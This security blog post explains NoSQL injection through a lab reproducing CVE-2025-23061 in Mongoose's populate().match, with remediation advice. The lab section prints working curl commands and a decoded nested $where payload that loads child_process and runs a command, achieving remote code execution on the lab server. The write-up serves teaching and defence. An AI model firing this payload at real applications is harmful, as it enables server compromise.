NoSQL Injection in the Real World: Breaking Mongoose with CVE-2025-23061

NoSQL has spent years enjoying a strangely comfortable reputation, almost as if removing the word SQL also removed the chance of turning user input into a security problem. Sadly, attackers never signed that agreement.

This article explores NoSQL Injection through a controlled lab based on CVE-2025-23061, a critical Mongoose flaw tied to “populate().match”. The vulnerable pattern is simple: an application accepts a user controlled JSON filter, passes it into a query helper, and assumes the result will stay harmless. That assumption is where the trouble starts.

What NoSQL Injection Really Means

NoSQL Injection happens when untrusted input becomes part of a query’s structure instead of staying a plain value. Much like classic SQL Injection, the real problem is not the database name. The problem is letting input influence logic.

In MongoDB style applications, operators such as $ne, $or, $regex, and $where can change how a request is evaluated. MongoDB documents that $where accepts JavaScript expressions or functions, which is exactly why it deserves extra caution.

This is what makes NoSQL Injection easy to miss. The code often looks flexible, modern, and perfectly reasonable during development. A developer wants to support filtering, parses JSON from the request, and forwards it downstream. From that moment on, the application is no longer just receiving data. It is accepting user supplied query logic.

Why This Case Matters

According to the Mongoose documentation for populate(), populate() replaces referenced document IDs with related documents, and match adds an extra filter to that population query. That makes it useful in real applications and easy to trust.

CVE-2025-23061 affected Mongoose versions before 8.9.5, 7.8.4, and 6.13.6. Public advisories describe the issue as improper use of a nested $where filter inside populate().match, and note that it existed because of an incomplete fix for CVE-2024-53900. The fix commit is direct about the root issue: nested $where inside populate match needed to be blocked.

In other words, the dangerous pattern was not a bizarre edge case. It was a believable feature path inside a popular library.

How the Lab Shows the Problem

In the lab, the vulnerable route receives a filter parameter from the request, parses it as JSON, and passes it directly into populate().match.

User-controlled JSON is passed directly into populate().match, allowing untrusted input to influence query logic.

For a normal request, that sounds harmless. A client wants to see only paid or shipped orders, and the endpoint tries to help. That is exactly what makes this pattern dangerous. The feature looks legitimate enough to survive code review.

A legitimate filter request returns only orders with the expected status.

The problem is that the same path also accepts attacker controlled structure. Instead of a simple status filter, the request can supply a nested condition that abuses $where. At this point, the filter stops behaving like data and starts behaving like logic.

Command (Windows):

curl.exe -s "http://localhost:3000/api/users/69f13b8796ddb0849d322fe8/orders?filter=%7B%22%24or%22%3A%5B%7B%22%24where%22%3A%22typeof%20global%20!%3D%3D%20%5C%22undefined%5C%22%20%3F%20%28function%28%29%7B%20var%20cp%20%3D%20global.process.mainModule.constructor._load%28%5C%22child_process%5C%22%29%3B%20throw%20new%20Error%28%5C%22RCE_OUTPUT%3A%5C%22%20%2B%20cp.execSync%28%5C%22id%5C%22%29.toString%28%29%29%3B%20%7D%29%28%29%20%3A%201%22%7D%5D%7D" | python -c "import sys,json,re; d=json.load(sys.stdin); e=d.get('error',''); m=re.search(r'RCE_OUTPUT:uid=\d+\([^)]+\)\s+gid=\d+\([^)]+\)\s+groups=\d+\([^)]+\)', e); print(); print(json.dumps({'error': m.group(0) if m else e}, indent=2, ensure_ascii=False)); print()"

Command (Linux):

curl -s "http://localhost:3000/api/users/69f13b8796ddb0849d322fe8/orders?filter=%7B%22%24or%22%3A%5B%7B%22%24where%22%3A%22typeof%20global%20!%3D%3D%20%5C%22undefined%5C%22%20%3F%20%28function%28%29%7B%20var%20cp%20%3D%20global.process.mainModule.constructor._load%28%5C%22child_process%5C%22%29%3B%20throw%20new%20Error%28%5C%22RCE_OUTPUT%3A%5C%22%20%2B%20cp.execSync%28%5C%22id%5C%22%29.toString%28%29%29%3B%20%7D%29%28%29%20%3A%201%22%7D%5D%7D" | python3 -c "import sys,json,re; d=json.load(sys.stdin); e=d.get('error',''); m=re.search(r'RCE_OUTPUT:uid=\d+\([^)]+\)\s+gid=\d+\([^)]+\)\s+groups=\d+\([^)]+\)', e); print(); print(json.dumps({'error': m.group(0) if m else e}, indent=2, ensure_ascii=False)); print()"

A nested $where payload turns a flexible filter into attacker-controlled execution logic.

// Decoded payload
{
"$or": [
{
"$where": "typeof global !== \"undefined\" ? (function(){ var cp = global.process.mainModule.constructor._load(\"child_process\"); throw new Error(\"RCE_OUTPUT:\" + cp.execSync(\"id\").toString()); })() : 1"
}
]
}

In this controlled setup, the payload uses a conditional expression to check whether execution reached a Node.js context. When that happens, the lab executes a harmless id command and reflects the output through an application error. This makes the impact visible through the HTTP response, without requiring access to the container or host.

Why This Matters in Real Applications

A NoSQL Injection issue is not limited to weird search results. Once user controlled query logic reaches sensitive code paths, the result can include unauthorized data access, business logic abuse, and in some scenarios, command execution on the application side.

In a real assessment, command output does not always come back in the HTTP response. Many exploitation paths are blind, which means the tester may need another observable signal, such as timing differences, error messages, or an out-of-band callback.

In this lab, the error handling makes the impact easier to demonstrate. The command output is reflected in the HTTP response, confirming that the application is no longer just filtering data. It is executing logic influenced by external input.

The command output is reflected through the application error response, confirming RCE without container access.

This is enough to show why flexible filtering deserves security review. A feature that starts as a convenient search helper can quietly become an attacker controlled execution path.

How Developers Avoid Repeating the Same Mistake

Updating Mongoose is necessary, but stopping at “patch the dependency” misses the real lesson. Safer design starts by never passing raw client objects into query builders just because the syntax fits.

A better pattern is simple. Accept a small set of expected fields such as status, validate type and allowed values, and build the database filter on the server side. If advanced filtering is truly necessary, use a strict allowlist for fields and operators, validate nested objects recursively, and reject dangerous operators by default.

This matters far beyond one CVE. The same mindset helps prevent similar mistakes in custom query builders, search endpoints, admin dashboards, and reporting features. Flexible query APIs should be treated as security-sensitive features, not harmless developer convenience.

Conclusion

NoSQL Injection is a useful reminder that the dangerous part was never the letters SQL. The dangerous part is trusting user input to behave like harmless data when it is actually steering application logic. Change the database, change the framework, add more JSON, and the same old mistake still finds a way to dress up as a feature.

If this kind of issue is difficult to spot during regular development, VSec helps companies identify subtle application flaws that hide behind legitimate features, including injection risks, unsafe trust boundaries, and logic abuse before they turn into real incidents.


Comentários

Leave a Reply

Discover more from VSec

Subscribe now to keep reading and get access to the full archive.

Continue reading